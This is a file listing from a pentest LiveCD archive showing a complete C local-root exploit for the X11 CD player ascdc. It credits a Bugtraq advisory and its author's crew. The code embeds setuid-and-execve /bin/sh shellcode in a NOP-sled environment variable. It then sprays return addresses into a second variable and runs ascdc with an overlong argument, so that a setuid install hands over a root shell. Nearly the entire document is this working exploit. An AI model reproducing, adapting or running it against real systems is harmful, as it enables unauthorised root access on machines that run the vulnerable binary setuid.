home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / ascd / ascdcx.c < prev   
C/C++ Source or Header  |  2005-02-12  |  3KB  |  103 lines

  1. /* /usr/X11R6/bin/ascdc local exploit.
  2.  * (version: ascdc-0.3-2-i386)
  3.  *
  4.  * Vulnerability found by Christer ╓berg, Wkit Security AB 
  5.  *
  6.  * <cut and pasted from the advisory posted on bugtraq> 
  7.  *
  8.  * There are multiple buffer overflows in ascdc that can be exploited to 
  9.  * gain root if it is installed setuid root. It is NOT installed setuid root 
  10.  * by default but as the README says:
  11.  * "If you intend to use the automounting feature, you must either run 
  12.  * ascdc as root or setuid it."
  13.  *
  14.  * Greetz fly out to: Tasc, C-murdah, Calimonk, Pyra, Tozz, Wildcoyote,
  15.  *                    Lucipher, Script0r, Zephyr, ThePike, Kn00p, Cerial
  16.  *              Goolie and X-wartech.
  17.  *
  18.  * - The Itch / BsE
  19.  * - http://bse.die.ms
  20.  * - irc.axenet.org 
  21.  */
  22.  
  23. #include <stdio.h>
  24. #include <stdlib.h>
  25.  
  26. #define DEFAULT_EGG_SIZE 2048
  27. #define NOP 0x90
  28.  
  29. /* adjust if needed, this should be suffient */
  30. #define DEFAULT_BUFFER_SIZE 600
  31.  
  32. unsigned long get_sp(void)
  33. {
  34.         __asm__("movl %esp, %eax");
  35. }
  36.  
  37. char shellcode[] =
  38.         "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
  39.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  40.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  41.         "\x80\xe8\xdc\xff\xff\xff/bin/sh";  
  42.  
  43. int main(int argc, char *argv[])
  44. {
  45.         char *buff;
  46.         char *egg;
  47.         char *ptr;
  48.         long *addr_ptr;
  49.         long addr;
  50.         int bsize = DEFAULT_BUFFER_SIZE;
  51.         int eggsize = DEFAULT_EGG_SIZE;
  52.         int i;
  53.  
  54.     if(argc > 1) { bsize = atoi(argv[1]); }
  55.  
  56.     if(!(buff = malloc(bsize)))
  57.     {
  58.         printf("unable to allocate memory for %d bytes\n", bsize);
  59.         exit(1);
  60.     }
  61.  
  62.     if(!(egg = malloc(eggsize)))
  63.     {
  64.          printf("unable to allocate memory for %d bytes\n", eggsize);
  65.          exit(1);
  66.     }
  67.  
  68.         addr = get_sp();
  69.  
  70.     printf("/usr/X11R6/bin/ascdc local exploit.\n");
  71.     printf("Coded by The Itch / BsE\n\n");
  72.         printf("Using return address: 0x%x\n", addr);
  73.         printf("Using buffersize    : %d\n", bsize);
  74.  
  75.         ptr = buff;
  76.         addr_ptr = (long *) ptr;  
  77.         for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = addr; }
  78.  
  79.         ptr = egg;
  80.         for(i = 0; i < eggsize - strlen(shellcode) -1; i++) 
  81.     { 
  82.         *(ptr++) = NOP; 
  83.     } 
  84.  
  85.     for(i = 0; i < strlen(shellcode); i++) 
  86.     { 
  87.         *(ptr++) = shellcode[i];
  88.     }
  89.  
  90.         buff[bsize - 1] = '\0';
  91.         egg[eggsize - 1] = '\0';
  92.         memcpy(egg, "EGG=", 4);
  93.         putenv(egg);
  94.         memcpy(buff, "RET=", 4);
  95.         putenv(buff);
  96.  
  97.         system("/usr/X11R6/bin/ascdc -c $RET");
  98.  
  99.         return 0;
  100. }      
  101.  
  102. /* remember, there's no cure for BsE */
  103.